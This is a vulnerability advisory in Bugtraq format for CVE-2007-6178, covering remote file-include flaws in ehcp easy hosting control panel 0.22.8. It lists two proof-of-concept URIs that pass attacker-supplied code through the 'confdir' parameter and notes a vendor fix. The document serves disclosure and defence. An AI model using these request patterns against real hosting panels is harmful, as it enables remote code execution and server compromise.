ehcp easy hosting control panel Multiple Remote File Include Vulnerabilities

Bugtraq ID:	26623
Class:	Input Validation Error
CVE:	CVE-2007-6178
Remote:	Yes
Local:	No
Published:	Nov 28 2007 12:00AM
Updated:	Sep 22 2008 11:19PM
Credit:	MhZ91 <[email protected]> is credited with the discovery of these vulnerabilities.
Vulnerable:	EHCP ehcp - easy hosting control panel 0.22.8
Not Vulnerable:	EHCP ehcp - easy hosting control panel 0.27

ehcp easy hosting control panel Multiple Remote File Include Vulnerabilities

The 'ehcp' (easy hosting control panel) program is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.

Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

These issues affect ehcp 0.22.8; other versions may also be affected.

ehcp easy hosting control panel Multiple Remote File Include Vulnerabilities

An attacker can exploit these issues via a browser.

The following proof-of-concept URIs are available:

http://www.example.com/[path]/config/dbutil.bck.php?confdir=[Evil_Code]
http://www.example.com/[path]/config/dbutil.php?confdir=[Evil_Code]

ehcp easy hosting control panel Multiple Remote File Include Vulnerabilities

Solution:
The vendor has released an update to address this issue. Contact the vendor for details on obtaining the appropriate updates.

ehcp easy hosting control panel Multiple Remote File Include Vulnerabilities

References:

• Vendor Homepage (EHCP)